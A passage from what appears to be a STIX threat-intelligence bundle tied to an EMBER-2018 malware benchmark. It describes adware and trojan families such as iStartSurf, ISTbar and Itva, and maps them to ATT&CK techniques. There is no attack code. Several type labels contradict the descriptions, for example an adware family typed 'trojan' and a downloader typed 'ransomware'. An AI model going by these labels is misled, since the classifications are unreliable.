      "description": "iStartSurf (cataloged across enterprise telemetry as BrowserModifier:Win32/IStartSurf, Adware:Win32/IStartSurf, and PUP.Optional.iStartSurf) is an aggressive browser hijacker and adware ecosystem analyzed by Microsoft Defender and Malwarebytes. Closely allied with the StartSurf and OmniBox distribution families, iStartSurf spreads through pay-per-install bundles, software wrappers, and deceptive torrent downloads. Once executed, iStartSurf replaces the default homepage, search engine, and new tab configuration across all installed browsers with istartsurf.com search hubs. The malware aggressively tampers with Windows desktop shortcuts, modifying the target path of browser executables with command-line arguments that force the launch of the hijacked URL on startup. Furthermore, iStartSurf drops background watcher services and browser extensions designed to block user attempts to revert browser settings, generating recurring ad revenue through search query monetization and injected affiliate banners. (Observed samples in benchmark: 1,214)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/IStartSurf",
        "Adware:Win32/IStartSurf",
        "Win32/IStartSurf",
        "PUP.Optional.iStartSurf",
        "iStartSurf.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Istartsurf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/istartsurf"
        }
      ],
      "labels": [
        "browser_hijacker",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0efd8f72-a5ad-52b0-8e83-409972f0a9d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d878e9f-aa96-5403-93bb-2a3aece42f56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--692c7d56-c7bd-538e-bc4b-54afb20fbebd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--255be4db-39bc-56e7-9fa8-212ef55eac4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a43db2d3-d5f8-50fc-b659-5c5d475b1b23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d94ea52d-3d1a-5440-806d-93ef50b25ae5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--179a8471-967f-5d0a-b272-6702d34587d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurf exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cba81833-081f-5937-9904-88cbe357d72b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Istartsurfinstaller",
      "description": "<h3>Executive Summary</h3>\niStartSurfInstaller (and its associated payload, iStartSurf) is a prevalent family of Adware and Browser Hijackers engineered to aggressively monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects intrusive advertisements, posing a significant threat to end-user privacy and enterprise network performance.\n\n<h3>Distribution and Technical Behavior</h3>\niStartSurfInstaller is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers downloaded from untrustworthy, third-party software portals, relying on users hastily clicking through installation prompts.\n\nOnce executed, the installer deeply integrates the iStartSurf adware with the operating system and installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> iStartSurf forcefully alters the browser's default search engine, homepage, and new tab settings to `istartsurf.com` (or a related affiliate domain). All search traffic is redirected through this portal to generate illicit ad revenue.</li>\n<li><strong>Persistence Mechanisms:</strong> To prevent the user from simply changing their homepage back, iStartSurf modifies browser shortcuts (appending the malicious URL to the target path) and alters Windows Registry keys to ensure the hijack remains active across reboots.</li>\n<li><strong>Traffic Interception and Data Harvesting:</strong> It frequently installs malicious browser extensions to intercept unencrypted web traffic, continuously tracking the user's browsing history and search queries to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile iStartSurf does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the iStartSurfInstaller executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Shortcut and Browser Remediation:</strong> Manually inspect all browser shortcut properties on the desktop and taskbar, removing the appended `istartsurf.com` URL from the Target field. Perform a complete factory reset of the browsers to clear the hijacked search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.iStartSurf",
        "PUP.iStartSurfInstaller",
        "BrowserModifier:Win32/iStartSurf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Istartsurfinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/istartsurfinstaller"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bf4a878-9cf3-55ca-b450-0dd9c918c4b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cba81833-081f-5937-9904-88cbe357d72b",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurfinstaller exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53756e86-f5cd-534c-992b-bd4880dc2eb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cba81833-081f-5937-9904-88cbe357d72b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurfinstaller exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09ff2c72-9cc5-554f-b306-d618b3a38acb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cba81833-081f-5937-9904-88cbe357d72b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurfinstaller exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f95980b-5c10-5efa-8e78-ba95b32cbf92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cba81833-081f-5937-9904-88cbe357d72b",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istartsurfinstaller exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--29943b84-3544-5ce2-af0f-f15adf53c369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Istbar",
      "description": "<h3>Executive Summary</h3>\nISTbar is a classic, highly aggressive family of Adware and Browser Hijackers that gained immense notoriety in the early 2000s, primarily targeting Internet Explorer. While older, its techniques set the standard for modern adware. ISTbar was designed to forcefully alter browser configurations, inject intrusive toolbars, and aggressively redirect web traffic to affiliate-linked search engines and adult content portals, severely degrading system performance and user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nISTbar was almost exclusively distributed via deceptive software bundling, drive-by downloads utilizing ActiveX vulnerabilities, and aggressive \"malvertising\" pop-ups on low-reputation websites.\n\nOnce executed, ISTbar deeply integrated with the operating system and Internet Explorer:\n<ul>\n<li><strong>Browser Hijacking (BHO Injection):</strong> ISTbar forcefully installed itself as a Browser Helper Object (BHO) within Internet Explorer. This allowed it to alter the default homepage, default search engine, and completely hijack the address bar. Any search query or mistyped URL would be redirected to a portal controlled by the adware operators.</li>\n<li><strong>Toolbar Injection:</strong> The software added a persistent, highly visible toolbar to the browser interface. This toolbar could not be easily removed by the user and constantly displayed flashing advertisements, fake \"system warnings,\" and links to adult websites.</li>\n<li><strong>Aggressive Persistence:</strong> ISTbar was notoriously difficult to remove. It utilized aggressive \"watchdog\" processes. If a user attempted to delete the toolbar files or reset the registry keys, the watchdog process would instantly restore them, ensuring the adware remained active.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile ISTbar primarily focused on generating illicit ad revenue rather than data theft, it introduced massive operational friction. The injected BHOs significantly degraded browser performance and stability. Furthermore, the hijacked search results were frequently served by malicious ad networks, drastically increasing the likelihood of secondary, more severe malware infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning (Safe Mode):</strong> Because of its aggressive watchdog processes, infected machines often needed to be booted into Windows Safe Mode. A reputable enterprise-grade anti-malware solution must be used to perform a deep system scan, targeting the ISTbar executables, BHO registry entries (`HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects`), and watchdog services.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect the Internet Explorer add-ons menu (if still in use) and forcefully disable any unrecognized toolbars. Perform a complete reset of the browser settings to clear the hijacked search parameters.</li>\n<li><strong>Modern Endpoint Protection:</strong> Ensure modern EDR solutions are deployed and up-to-date, as they easily detect and block the legacy techniques utilized by ISTbar and its modern variants.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ISTbar",
        "Toolbar.IST",
        "BrowserModifier:Win32/ISTbar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Istbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/istbar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bac5a115-0955-5d54-a29e-91f671cbfa3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29943b84-3544-5ce2-af0f-f15adf53c369",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istbar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e23ef4c9-5fd0-5a56-aaa6-3db08cd3c138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29943b84-3544-5ce2-af0f-f15adf53c369",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istbar exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17de2606-2264-5ee4-bfb3-30a71683d5b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29943b84-3544-5ce2-af0f-f15adf53c369",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istbar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc8916c7-f44a-53e3-a736-fb6bb7ed7742",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29943b84-3544-5ce2-af0f-f15adf53c369",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Istbar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5adf1f06-e19f-5e29-bfb1-6b2f3663363e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Itorrent",
      "description": "Adware:Win32/Itorrent (often classified as PUA or Riskware) is an adware application typically bundled with, or disguised as, a free BitTorrent client. While it may provide the advertised peer-to-peer file-sharing functionality, its primary purpose is to heavily monetize the user's system by injecting intrusive advertisements, hijacking browser search settings, and tracking user behavior, often downloading secondary nuisance software without explicit consent.<br><br><b>Understanding Itorrent (Adware/PUA)</b><br>To an end-user, Itorrent appears to be a legitimate tool for downloading movies or software via the BitTorrent protocol. However, the user quickly experiences a degraded system performance, browser slowdowns, and a constant barrage of pop-up ads. For a network administrator, it represents a dual threat: the high bandwidth consumption and legal liability of P2P file sharing, combined with the security risks of adware and browser hijacking.<br><br><b>Execution and Monetization Mechanics</b><br>Itorrent is usually acquired when users search for free torrent clients and download from third-party aggregation sites instead of official repositories (`T1189`). The installer utilizes 'Dark Patterns' to trick the user into accepting bundled software (`T1036`). Upon execution (`T1204.002`), it installs the torrent client but also establishes persistence for its adware components (often via Scheduled Tasks or Registry Run keys) (`T1547.001`). It installs persistent browser extensions or modifies browser shortcut properties (`T1176`) to intercept web traffic, injecting sponsored links into search results and redirecting the user to affiliate marketing pages (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, unauthorized tracking, and potential exposure to malvertising. Host-based IoCs include EDR alerts for unexpected additions to browser extension directories, modifications to `LNK` shortcut files, and anomalous processes communicating with known adware tracking domains. Network IoCs include a mix of standard BitTorrent traffic (heavy UDP/TCP on high ports) mixed with HTTP/HTTPS connections to ad-serving networks. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Itorrent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/itorrent"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b09a7ba4-9786-5630-a265-bff80e606378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5adf1f06-e19f-5e29-bfb1-6b2f3663363e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itorrent exhibits technique T1176 (Browser Extensions (Installing malicious adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--166d82e7-7858-5e40-8f4b-3c260f87fa0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5adf1f06-e19f-5e29-bfb1-6b2f3663363e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itorrent exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45012b84-59b3-5c4c-ba99-242ccfc2bbec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5adf1f06-e19f-5e29-bfb1-6b2f3663363e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itorrent exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a932287-b1fa-511f-8f91-045ee2ec8289",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5adf1f06-e19f-5e29-bfb1-6b2f3663363e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itorrent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5965962d-6d75-5da6-9ea4-82b34da7306a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Itranslator",
      "description": "Adware/PUP:Win32/Itranslator is a Potentially Unwanted Program (PUP) categorized as an Adware or Browser Modifier. It is ostensibly marketed as a helpful browser extension or desktop utility for translating web pages. However, its true purpose is aggressive monetization: it hijacks browser settings, injects unremovable advertisements, redirects search traffic, and tracks browsing habits without informed consent.<br><br><b>Understanding Itranslator</b><br>To an end-user, Itranslator severely degrades the web browsing experience, flooding pages with pop-ups and slowing down the browser. For a security operations center (SOC), it is a 'nuisance' threat that indicates poor endpoint hygiene and risky user behavior. While not typically destructive, the infrastructure used to deliver adware is frequently repurposed to deliver more severe malware (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Itranslator is almost exclusively distributed via 'bundling'\u2014it is hidden within the installers of other free software downloaded from unverified third-party portals (`T1189`). During installation, if the user clicks 'Express Install', the PUP is silently installed. Once active, it forcefully modifies browser settings (Chrome, Edge, Firefox), installing unauthorized extensions (`T1176`) and changing the default search engine (`T1562.001`). It establishes persistence via Scheduled Tasks or Registry Run keys to ensure the malicious extensions are re-installed if the user attempts to remove them.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, potential exposure to malvertising, and privacy violations (tracking). Host-based IoCs include the presence of unwanted extensions in the browser's add-on manager, unexpected modifications to the `Start Page` registry keys, and anomalous Scheduled Tasks running browser executables with hidden command-line arguments. Network IoCs involve constant HTTP/HTTPS traffic to known adware tracking networks and affiliate marketing domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Itranslator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/itranslator"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8eeede4-7026-5fd8-aca7-762d516e92aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965962d-6d75-5da6-9ea4-82b34da7306a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itranslator exhibits technique T1176 (Browser Extensions (Force-installing adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3a3ccd8-8b99-5740-936b-47208b29b573",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965962d-6d75-5da6-9ea4-82b34da7306a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itranslator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Hijacking default search and homepage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca1a65a5-f3a7-5c46-970d-b302f0ed07cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5965962d-6d75-5da6-9ea4-82b34da7306a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itranslator exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Itva",
      "description": "Trojan:Win32/Itva is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Itva</b><br>To an end-user, an Itva infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Itva is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Itva is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Itva frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Itva reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Itva",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/itva"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cab50e50-fff5-50ee-8809-6a50544c618f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itva exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--790a743c-1929-5f09-b86b-d88bdad9b3ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itva exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d3003f9-2577-5d61-9c22-6c7e5119aff8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itva exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a466374e-e089-57f9-8cb9-0d307db94293",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itva exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49b48d8d-0e1a-5d80-ba44-5c8a1f7434a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3aabc067-c4e2-5860-a386-cc93a5bb4eda",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Itva exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b7ac37a-8210-5d8c-93a1-d93e3b8bff3c",
